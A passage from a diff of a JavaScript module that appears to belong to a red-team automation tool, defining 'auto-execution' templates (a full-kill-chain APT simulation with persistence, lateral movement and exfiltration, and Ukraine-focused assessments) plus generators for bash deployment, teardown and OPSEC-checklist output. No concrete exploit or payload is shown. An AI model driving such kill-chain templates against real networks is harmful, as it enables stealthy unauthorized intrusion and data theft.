1161
|
+
id: 'us-apt-simulation',
|
|
1162
|
+
name: 'US APT Simulation',
|
|
1163
|
+
description: 'Advanced persistent threat simulation with full kill chain',
|
|
1164
|
+
region: 'us',
|
|
1165
|
+
objectives: [
|
|
1166
|
+
'Simulate nation-state level adversary',
|
|
1167
|
+
'Complete kill chain execution',
|
|
1168
|
+
'Long-term persistence establishment',
|
|
1169
|
+
'Stealth-focused operations',
|
|
1170
|
+
],
|
|
1171
|
+
techniques: [
|
|
1172
|
+
'dns_enum', 'subdomain_enum', 'service_enum',
|
|
1173
|
+
'web_fingerprint', 'vuln_scan',
|
|
1174
|
+
'exploit_attempt', 'privesc', 'persistence',
|
|
1175
|
+
'lateral_move', 'exfil',
|
|
1176
|
+
],
|
|
1177
|
+
deliverableType: 'apt-analysis',
|
|
1178
|
+
estimatedDuration: '2-4 weeks',
|
|
1179
|
+
executionSteps: [
|
|
1180
|
+
'Deploy covert infrastructure',
|
|
1181
|
+
'Conduct low-and-slow reconnaissance',
|
|
1182
|
+
'Establish initial foothold',
|
|
1183
|
+
'Deploy multiple persistence mechanisms',
|
|
1184
|
+
'Map internal network',
|
|
1185
|
+
'Identify and access crown jewels',
|
|
1186
|
+
'Demonstrate exfiltration capability',
|
|
1187
|
+
'Generate APT analysis report',
|
|
1188
|
+
],
|
|
1189
|
+
},
|
|
1190
|
+
{
|
|
1191
|
+
id: 'ua-infrastructure-assessment',
|
|
1192
|
+
name: 'Ukraine Infrastructure Assessment',
|
|
1193
|
+
description: 'Security assessment of Ukrainian infrastructure',
|
|
1194
|
+
region: 'ukraine',
|
|
1195
|
+
objectives: [
|
|
1196
|
+
'Assess network security posture',
|
|
1197
|
+
'Identify critical vulnerabilities',
|
|
1198
|
+
'Test resilience to nation-state attacks',
|
|
1199
|
+
'Document defense recommendations',
|
|
1200
|
+
],
|
|
1201
|
+
techniques: [
|
|
1202
|
+
'dns_enum', 'port_scan', 'service_enum',
|
|
1203
|
+
'vuln_scan', 'web_fingerprint',
|
|
1204
|
+
],
|
|
1205
|
+
deliverableType: 'infrastructure-assessment',
|
|
1206
|
+
estimatedDuration: '2-4 hours',
|
|
1207
|
+
executionSteps: [
|
|
1208
|
+
'Deploy Ukraine infrastructure',
|
|
1209
|
+
'Conduct external reconnaissance',
|
|
1210
|
+
'Identify exposed services',
|
|
1211
|
+
'Assess vulnerability exposure',
|
|
1212
|
+
'Test defense mechanisms',
|
|
1213
|
+
'Generate infrastructure assessment',
|
|
1214
|
+
],
|
|
1215
|
+
},
|
|
1216
|
+
{
|
|
1217
|
+
id: 'ua-resilience-test',
|
|
1218
|
+
name: 'Ukraine Network Resilience Test',
|
|
1219
|
+
description: 'Test network resilience under degraded conditions',
|
|
1220
|
+
region: 'ukraine',
|
|
1221
|
+
objectives: [
|
|
1222
|
+
'Test operation under network instability',
|
|
1223
|
+
'Verify backup channels',
|
|
1224
|
+
'Assess satellite backup functionality',
|
|
1225
|
+
],
|
|
1226
|
+
techniques: [
|
|
1227
|
+
'dns_enum', 'port_scan', 'service_enum',
|
|
1228
|
+
],
|
|
1229
|
+
deliverableType: 'vulnerability-report',
|
|
1230
|
+
estimatedDuration: '4-6 hours',
|
|
1231
|
+
executionSteps: [
|
|
1232
|
+
'Deploy with primary and backup channels',
|
|
1233
|
+
'Conduct operations on primary',
|
|
1234
|
+
'Simulate network degradation',
|
|
1235
|
+
'Verify failover to backup',
|
|
1236
|
+
'Test satellite backup channel',
|
|
1237
|
+
'Document resilience findings',
|
|
1238
|
+
],
|
|
1239
|
+
},
|
|
1240
|
+
];
|
|
1241
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
1242
|
+
// FACTORY FUNCTIONS
|
|
1243
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
1244
|
+
export function getInfrastructureStack(region) {
|
|
1245
|
+
switch (region) {
|
|
1246
|
+
case 'us':
|
|
1247
|
+
return US_INFRASTRUCTURE_STACK;
|
|
1248
|
+
case 'ukraine':
|
|
1249
|
+
return UKRAINE_INFRASTRUCTURE_STACK;
|
|
1250
|
+
default:
|
|
1251
|
+
return undefined;
|
|
1252
|
+
}
|
|
1253
|
+
}
|
|
1254
|
+
export function getAutoExecutionTemplate(templateId) {
|
|
1255
|
+
return AUTO_EXECUTION_TEMPLATES.find(t => t.id === templateId);
|
|
1256
|
+
}
|
|
1257
|
+
export function listTemplatesForRegion(region) {
|
|
1258
|
+
return AUTO_EXECUTION_TEMPLATES.filter(t => t.region === region);
|
|
1259
|
+
}
|
|
1260
|
+
export function generateDeploymentScript(stack) {
|
|
1261
|
+
let script = `#!/bin/bash
|
|
1262
|
+
# Auto-generated deployment script for ${stack.name}
|
|
1263
|
+
# Region: ${stack.region}
|
|
1264
|
+
# Classification: ${stack.classification}
|
|
1265
|
+
|
|
1266
|
+
set -e
|
|
1267
|
+
|
|
1268
|
+
echo "=== Deploying ${stack.name} ==="
|
|
1269
|
+
echo "Region: ${stack.region}"
|
|
1270
|
+
echo ""
|
|
1271
|
+
|
|
1272
|
+
`;
|
|
1273
|
+
for (const step of stack.deploymentProcedure) {
|
|
1274
|
+
script += `# Step ${step.order}: ${step.action}\n`;
|
|
1275
|
+
script += `echo "Phase: ${step.phase} - ${step.action}"\n`;
|
|
1276
|
+
for (const cmd of step.commands) {
|
|
1277
|
+
if (!cmd.startsWith('#')) {
|
|
1278
|
+
script += `${cmd}\n`;
|
|
1279
|
+
}
|
|
1280
|
+
}
|
|
1281
|
+
script += `echo "Verification: ${step.verification}"\n`;
|
|
1282
|
+
script += `\n`;
|
|
1283
|
+
}
|
|
1284
|
+
script += `echo "=== Deployment Complete ==="\n`;
|
|
1285
|
+
return script;
|
|
1286
|
+
}
|
|
1287
|
+
export function generateTeardownScript(stack) {
|
|
1288
|
+
let script = `#!/bin/bash
|
|
1289
|
+
# Auto-generated teardown script for ${stack.name}
|
|
1290
|
+
# CAUTION: This will destroy all infrastructure
|
|
1291
|
+
|
|
1292
|
+
set -e
|
|
1293
|
+
|
|
1294
|
+
echo "=== Tearing down ${stack.name} ==="
|
|
1295
|
+
read -p "Are you sure? (yes/no): " confirm
|
|
1296
|
+
[[ "$confirm" != "yes" ]] && exit 1
|
|
1297
|
+
|
|
1298
|
+
`;
|
|
1299
|
+
for (const step of stack.teardownProcedure) {
|
|
1300
|
+
script += `# Step ${step.order}: ${step.action}\n`;
|
|
1301
|
+
script += `echo "Executing: ${step.action}"\n`;
|
|
1302
|
+
for (const cmd of step.commands) {
|
|
1303
|
+
script += `${cmd}\n`;
|
|
1304
|
+
}
|
|
1305
|
+
script += `echo "Data handling: ${step.dataHandling}"\n`;
|
|
1306
|
+
script += `\n`;
|
|
1307
|
+
}
|
|
1308
|
+
script += `echo "=== Teardown Complete ==="\n`;
|
|
1309
|
+
return script;
|
|
1310
|
+
}
|
|
1311
|
+
export function generateOpsecChecklist(stack) {
|
|
1312
|
+
let checklist = `# OPSEC Checklist: ${stack.name}\n\n`;
|
|
1313
|
+
const categories = new Set(stack.opsecChecklist.map(i => i.category));
|
|
1314
|
+
for (const category of categories) {
|
|
1315
|
+
checklist += `## ${category.toUpperCase()}\n\n`;
|
|
1316
|
+
const items = stack.opsecChecklist.filter(i => i.category === category);
|
|
1317
|
+
for (const item of items) {
|
|
1318
|
+
const priority = item.priority === 'critical' ? '🔴' : item.priority === 'high' ? '🟠' : '🟡';
|
|
1319
|
+
checklist += `- [ ] ${priority} **${item.requirement}**\n`;
|
|
1320
|
+
checklist += ` - Implementation: ${item.implementation}\n`;
|
|
1321
|
+
checklist += ` - Verification: ${item.verification}\n\n`;
|
|
1322
|
+
}
|
|
1323
|
+
}
|
|
1324
|
+
return checklist;
|
|
1325
|
+
}
|
|
1326
|
+
//# sourceMappingURL=infrastructureTemplates.js.map
|